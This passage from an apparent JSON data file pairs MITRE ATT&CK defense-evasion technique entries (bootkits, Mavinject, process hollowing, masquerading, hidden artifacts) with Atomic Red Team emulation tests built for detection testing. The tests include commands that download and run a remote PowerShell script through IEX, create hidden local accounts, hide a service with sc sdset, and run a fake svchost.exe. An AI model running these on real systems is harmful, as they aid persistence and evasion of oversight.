5, 2019." - }, - { - "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", - "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.", - "source_name": "Lau 2011" - } - ], - "modified": "2020-09-17T19:47:14.338Z", - "name": "Bootkit", - "description": "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Drive: Drive Modification" - ], - "x_mitre_defense_bypassed": [ - "Host intrusion prevention systems", - "Anti-virus", - "File monitoring" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1116": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", - "type": "attack-pattern", - "created": "2017-05-31T21:31:26.474Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1116", - "url": "https://attack.mitre.org/techniques/T1116" - }, - { - "url": "https://en.wikipedia.org/wiki/Code_signing", - "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", - "source_name": "Wikipedia Code Signing" - }, - { - "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/", - "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", - "source_name": "Janicab" - }, - { - "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", - "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", - "source_name": "Securelist Digital Certificates" - }, - { - "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", - "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", - "source_name": "Symantec Digital Certificates" - } - ], - "modified": "2020-02-05T18:59:28.671Z", - "name": "Code Signing", - "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Windows User Account Control" - ] - }, - "atomic_tests": [] - }, - "T1218.013": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9", - "created": "2021-09-22T17:45:10.241Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.013", - "url": "https://attack.mitre.org/techniques/T1218/013" - }, - { - "source_name": "ATT Lazarus TTP Evolution", - "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution", - "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021." - }, - { - "source_name": "LOLBAS Mavinject", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/", - "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021." - }, - { - "source_name": "Mavinject Functionality Deconstructed", - "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", - "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021." - }, - { - "source_name": "Reaqta Mavinject", - "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/", - "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", - "modified": "2022-04-19T17:35:08.315Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Mavinject", - "x_mitre_detection": "Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1093": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", - "type": "attack-pattern", - "created": "2017-05-31T21:31:09.815Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1093", - "url": "https://attack.mitre.org/techniques/T1093" - }, - { - "url": "http://www.autosectools.com/process-hollowing.pdf", - "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", - "source_name": "Leitch Hollowing" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - } - ], - "modified": "2020-11-10T18:29:30.437Z", - "name": "Process Hollowing", - "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Whitelisting by file name or path", - "Signature-based detection", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1036.005": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Yossi Weizman, Azure Defender Research Team", - "Vishwas Manral, McAfee" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "created": "2020-02-10T20:43:10.239Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1036.005", - "url": "https://attack.mitre.org/techniques/T1036/005" - }, - { - "source_name": "Twitter ItsReallyNick Masquerading Update", - "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457", - "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019." - }, - { - "source_name": "Docker Images", - "url": "https://docs.docker.com/engine/reference/commandline/images/", - "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021." - }, - { - "source_name": "Elastic Masquerade Ball", - "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", - "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/177.html", - "source_name": "capec", - "external_id": "CAPEC-177" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", - "modified": "2022-05-05T04:56:50.197Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Masquerading: Match Legitimate Name or Location", - "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Image: Image Metadata", - "Process: Process Metadata", - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1036.005" - }, - "atomic_tests": [ - { - "name": "Masquerade as a built-in system executable", - "auto_generated_guid": "35eb8d16-9820-4423-a2a1-90c4f5edd9ca", - "description": "Launch an executable that attempts to masquerade as a legitimate executable.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_filepath": { - "description": "File path where the generated executable will be dropped and executed from. The filename should be the name of a built-in system utility.", - "type": "string", - "default": "$Env:windir\\Temp\\svchost.exe" - } - }, - "executor": { - "command": "Add-Type -TypeDefinition @'\npublic class Test {\n public static void Main(string[] args) {\n System.Console.WriteLine(\"tweet, tweet\");\n }\n}\n'@ -OutputAssembly \"#{executable_filepath}\"\n\nStart-Process -FilePath \"#{executable_filepath}\"\n", - "cleanup_command": "Remove-Item -Path \"#{executable_filepath}\" -ErrorAction Ignore\n", - "name": "powershell" - } - } - ] - }, - "T1600": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8", - "type": "attack-pattern", - "created": "2020-10-19T18:47:08.759Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1600", - "url": "https://attack.mitre.org/techniques/T1600" - }, - { - "source_name": "Cisco Synful Knock Evolution", - "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", - "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco Blog Legacy Device Attacks", - "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", - "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." - } - ], - "modified": "2020-10-21T22:37:49.258Z", - "name": "Weaken Encryption", - "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification" - ], - "x_mitre_defense_bypassed": [ - "Encryption" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1121": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", - "type": "attack-pattern", - "created": "2017-05-31T21:31:33.499Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1121", - "url": "https://attack.mitre.org/techniques/T1121" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", - "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", - "source_name": "MSDN Regsvcs" - }, - { - "source_name": "MSDN Regasm", - "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", - "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx" - }, - { - "source_name": "LOLBAS Regsvcs", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", - "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019." - }, - { - "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", - "source_name": "LOLBAS Regasm" - } - ], - "modified": "2020-01-31T19:00:30.734Z", - "name": "Regsvcs/Regasm", - "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - }, - { - "phase_name": "execution", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1564": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Office 365" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", - "type": "attack-pattern", - "created": "2020-02-26T17:41:25.933Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564", - "url": "https://attack.mitre.org/techniques/T1564" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", - "source_name": "Sofacy Komplex Trojan" - }, - { - "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", - "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.", - "source_name": "Cybereason OSX Pirrit" - }, - { - "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", - "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", - "source_name": "MalwareBytes ADS July 2015" - }, - { - "source_name": "Sophos Ragnar May 2020", - "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", - "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020." - } - ], - "modified": "2022-03-25T15:59:09.632Z", - "name": "Hide Artifacts", - "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Application Log: Application Log Content", - "Command: Command Execution", - "User Account: User Account Metadata", - "File: File Modification", - "Service: Service Creation", - "File: File Metadata", - "Process: OS API Execution", - "File: File Creation", - "Windows Registry: Windows Registry Key Modification", - "Firmware: Firmware Modification", - "User Account: User Account Creation", - "Script: Script Execution", - "Process: Process Creation" - ], - "identifier": "T1564" - }, - "atomic_tests": [ - { - "name": "Extract binary files via VBA", - "auto_generated_guid": "6afe288a-8a8b-4d33-a629-8d03ba9dad3a", - "description": "This module extracts a binary (calc.exe) from inside of another binary. \n\nIn the wild maldoc authors will use this technique to hide binaries inside of files stored \nwithin the office document itself. An example of this technique can be seen in sample\n\nf986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226\n\nThis sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2\nis the same document without all the malicious code. Document 1 will copy Document 2 to the file system\nand then \"peek\" inside of this document and pull out the oleObject.bin file. Contained inside of this\noleObject.bin file is a payload that is parsed out and executed on the file system.\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft Word must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"Word.Application\" | Out-Null\n Stop-Process -Name \"winword\"\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "$macro = [System.IO.File]::ReadAllText(\"PathToAtomicsFolder\\T1564\\src\\T1564-macrocode.txt\")\n$macro = $macro -replace \"aREPLACEMEa\", \"PathToAtomicsFolder\\T1564\\bin\\extractme.bin\"\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroCode \"$macro\" -officeProduct \"Word\" -sub \"Extract\" -NoWrap\n", - "cleanup_command": "Remove-Item \"$env:TEMP\\extracted.exe\" -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Create a Hidden User Called \"$\"", - "auto_generated_guid": "2ec63cc2-4975-41a6-bf09-dffdfb610778", - "description": "Creating a user with a username containing \"$\"", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "net user $ ATOMIC123! /add /active:yes", - "cleanup_command": "net user $ /DELETE 2>&1" - } - }, - { - "name": "Create an \"Administrator \" user (with a space on the end)", - "auto_generated_guid": "5bb20389-39a5-4e99-9264-aeb92a55a85c", - "description": "Creating a user with a username containing with a space on the end", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "New-LocalUser -Name \"Administrator \" -NoPassword", - "cleanup_command": "Remove-LocalUser -Name \"Administrator \" 2>&1 | out-null" - } - }, - { - "name": "Create and Hide a Service with sc.exe", - "auto_generated_guid": "333c7de0-6fbe-42aa-ac2b-c7e40b18246a", - "description": "The following technique utilizes sc.exe and sdset to change the security descriptor of a service and \"hide\" it from Get-Service or sc query.\n\nUpon successful execution, sc.exe creates a new service changes the security descriptor.\n\nhttps://twitter.com/Alh4zr3d/status/1580925761996828672\nhttps://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "service_name": { - "description": "Name of service to create", - "type": "string", - "default": "AtomicService" - }, - "executable_command": { - "description": "Command to execute as a service", - "type": "string", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "sc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc sdset #{service_name} \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"\n", - "cleanup_command": "sc sdset #{service_name} \"D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"\nsc.exe delete #{service_name}\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1484.002": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Azure AD" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Blake Strom, Microsoft 365 Defender" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", - "type": "attack-pattern", - "created": "2020-12-28T21:59:02.181Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1484.002", - "url": "https://attack.mitre.org/techniques/T1484/002" - }, - { - "source_name": "Microsoft - Azure AD Federation", - "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed", - "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020." - }, - { - "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", - "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml", - "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020." - }, - { - "source_name": "Sygnia Golden SAML", - "url": "https://www.sygnia.co/golden-saml-advisory", - "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021." - }, - { - "source_name": "CISA SolarWinds Cloud Detection", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021." - }, - { - "source_name": "Microsoft - Update or Repair Federated domain", - "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365", - "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020." - } - ], - "modified": "2021-01-11T18:21:20.213Z", - "name": "Domain Trust Modification", - "description": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing 